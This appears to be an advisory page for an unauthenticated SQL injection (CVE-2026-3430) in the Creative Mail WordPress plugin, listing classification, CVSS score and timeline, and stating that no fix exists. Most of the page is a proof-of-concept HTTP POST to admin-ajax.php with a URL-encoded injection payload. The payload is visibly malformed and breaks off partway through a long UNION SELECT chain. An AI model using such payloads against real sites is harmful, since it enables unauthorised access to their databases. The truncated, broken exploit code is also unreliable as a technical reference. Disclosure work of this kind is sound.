Creative Mail 1.6.5-1.6.9 Unauthenticated SQLi (CVE-2026-3430)

Vulnerability Overview Vulnerability Name: Creative Mail 1.6.5 - 1.6.9 - Unauthenticated SQLi Vulnerability Type: SQL Injection (SQLi) Description: The plugin fails to properly clean and escape parameters before executing SQL statements, resulting in an unauthenticated SQL injection when managing abandoned cart emails. Scope of Impact Affected Plugin: creative-mail-by-constant-contact Patch Status: No known fix available Remediation Current Status: No known fix available Additional Information CVE Number: CVE-2026-3430 Classification: - Type: SQLi - OWASP Top 10: A1: Injection - CWE: CWE-89 - CVSS Score: 8.6 (High) Original Researcher: wcraft Submitter: wcraft Verification Status: Verified WPVDB ID: eb2f34bd-c626-4831-a886-c82882073bcd Timeline: - Public Release Date: 2026-05-19 - Added Date: 2026-05-19 - Last Updated Date: 2026-08-03 POC Code ```http POST /wp-admin/admin-ajax.php?action=wp-recover=%7c%7c(SELECT%206x675a4856%20WHERE%203572%3d3572%26AND%20(SELECT%206276%20FROM%20(SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203%20UNION%20SELECT%204%20UNION%20SELECT%205%20UNION%20SELECT%206%20UNION%20SELECT%207%20UNION%20SELECT%208%20UNION%20SELECT%209%20UNION%20SELECT%2010%20UNION%20SELECT%2011%20UNION%20SELECT%2012%20UNION%20SELECT%2013%20UNION%20SELECT%2014%20UNION%20SELECT%2015%20UNION%20SELECT%2016%20UNION%20SELECT%2017%20UNION%20SELECT%2018%20UNION%20SELECT%2019%20UNION%20SELECT%2020%20UNION%20SELECT%2021%20UNION%20SELECT%2022%20UNION%20SELECT%2023%20UNION%20SELECT%2024%20UNION%20SELECT%2025%20UNION%20SELECT%2026%20UNION%20SELECT%2027%20UNION%20SELECT%2028%20UNION%20SELECT%2029%20UNION%20SELECT%2030%20UNION%20SELECT%2031%20UNION%20SELECT%2032%20UNION%20SELECT%2033%20UNION%20SELECT%2034%20UNION%20SELECT%2035%20UNION%20SELECT%2036%20UNION%20SELECT%2037%20UNION%20SELECT%2038%20UNION%20SELECT%2039%20UNION%20SELECT%2040%20UNION%20SELECT%2041%20UNION%20SELECT%2042%20UNION%20SELECT%2043%20UNION%20SELECT%2044%20UNION%20SELECT%2045%20UNION%20SELECT%2046%20UNION%20SELECT%2047%20UNION%20SELECT%2048%20UNION%20SELECT%2049%20UNION%20SELECT%2050%20UNION%20SELECT%2051%20UNION%20SELECT%2052%20UNION%20SELECT%2053%20UNION%20SELECT%2054%20UNION%20SELECT%2055%20UNION%20SELECT%2056%20UNION%20SELECT%2057%20UNION%20SELECT%2058%20UNION%20SELECT%2059%20UNION%20SELECT%2060%20UNION%20SELECT%2061%20UNION%20SELECT%2062%20UNION%20SELECT%2063%20UNION%20SELECT%2064%20UNION%20SELECT%2065%20UNION%20SELECT%2066%20UNION%20SELECT%2067%20UNION%20SELECT%2068%20UNION%20SELECT%2069%20UNION%20SELECT%2070%20UNION%20SELECT%2071%20UNION%20SELECT%2072%20UNION%20SELECT%2073%20UNION%20SELECT%2074%20UNION%20SELECT%2075%20UNION%20SELECT%2076%20UNION%20SELECT%2077%20UNION%20SELECT%2078%20UNION%20SELECT%2079%20UNION%20SELECT%2080%20UNION%20SELECT%2081%20UNION%20SELECT%2082%20UNION%20SELECT%2083%20UNION%20SELECT%2084%20UNION%20SELECT%2085%20UNION%20SELECT%2086%20UNION%20SELECT%2087%20UNION%20SELECT%2088%20UNION%20SELECT%2089%20UNION%20SELECT%2090%20UNION%20SELECT%2091%20UNION%20SELECT%2092%20UNION%20SELECT%2093%20UNION%20SELECT%2094%20UNION%20SELECT%2095%20UNION%20SELECT%2096%20UNION%20SELECT%2097%20UNION%20SELECT%2098%20UNION%20SELECT%2099%20UNION%20SELECT%20100%20UNION%20SELECT%20101%20UNION%20SELECT%20102%20UNION%20SELECT%20103%20UNION%20SELECT%20104%20UNION%20SELECT%20105%20UNION%20SELECT%20106%20UNION%20SELECT%20107%20UNION%20SELECT%20108%20UNION%20SELECT%20109%20UNION%20SELECT%20110%20UNION%20SELECT%20111%20UNION%20SELECT%20112%20UNION%20SELECT%20113%20UNION%20SELECT%20114%20UNION%20SELECT%20115%20UNION%20SELECT%20116%20UNION%20SELECT%20117%20UNION%20SELECT%20118%20UNION%20SELECT%20119%20UNION%20SELECT%20120%20UNION%20SELECT%20121%20UNION%20SELECT%20122%20UNION%20SELECT%20123%20UNION%20SELECT%20124%20UNION%20SELECT%20125%20UNION%20SELECT%20126%20UNION%20SELECT%20127%20UNION%20SELECT%20128%20UNION%20SELECT%20129%20UNION%20SELECT%20130%20UNION%20SELECT%20131%20UNION%20SELECT%20132%20UNION%20SELECT%20133%20UNION%20SELECT%20134%20UNION%20SELECT%20135%20UNION%20SELECT%20136%20UNION%20SELECT%20137%20UNION%20SELECT%20138%20UNION%20SELECT%20139%20UNION%20SELECT%20140%20UNION%20SELECT%20141%20UNION%20SELECT%20142%20UNION%20SELECT%20143%20UNION%20SELECT%20144%20UNION%20SELECT%20145%20UNION%20SELECT%20146%20UNION%20SELECT%20147%20UNION%20SELECT%20148%20UNION%20SELECT%20149%20UNION%20SELECT%20150%20UNION%20SELECT%20151%20UNION%20SELECT%20152%20UNION%20SELECT%20153%20UNION%20SELECT%20154%20UNION%20SELECT%20155%20UNION%20SELECT%20156%20UNION%20SELECT%20157%20UNION%20SELECT%20158%20UNION%20SELECT%20159%20UNION%20SELECT%20160%20UNION%20SELECT%20161%20UNION%20SELECT%20162%20UNION%20SELECT%20163%20UNION%20SELECT%20164%20UNION%20SELECT%20165%20UNION%20SELECT%20166%20UNION%20SELECT%20167%20UNION%20SELECT%20168%20UNION%20SELECT%20169%20UNION%20SELECT%20170%20UNION%20SELECT%20171%20UNION%20SELECT%20172%20UNION%20SELECT%20173%20UNION%20SELECT%20174%20UNION%20SELECT%20175%20UNION%20SELECT%20176%20UNION%20SELECT%20177%20UNION%20SELECT%20178%20UNION%20SELECT%20179%20UNION

Goal Reached Thanks to every supporter — we hit 100%!

Creative Mail 1.6.5-1.6.9 Unauthenticated SQLi (CVE-2026-3430)

More from this source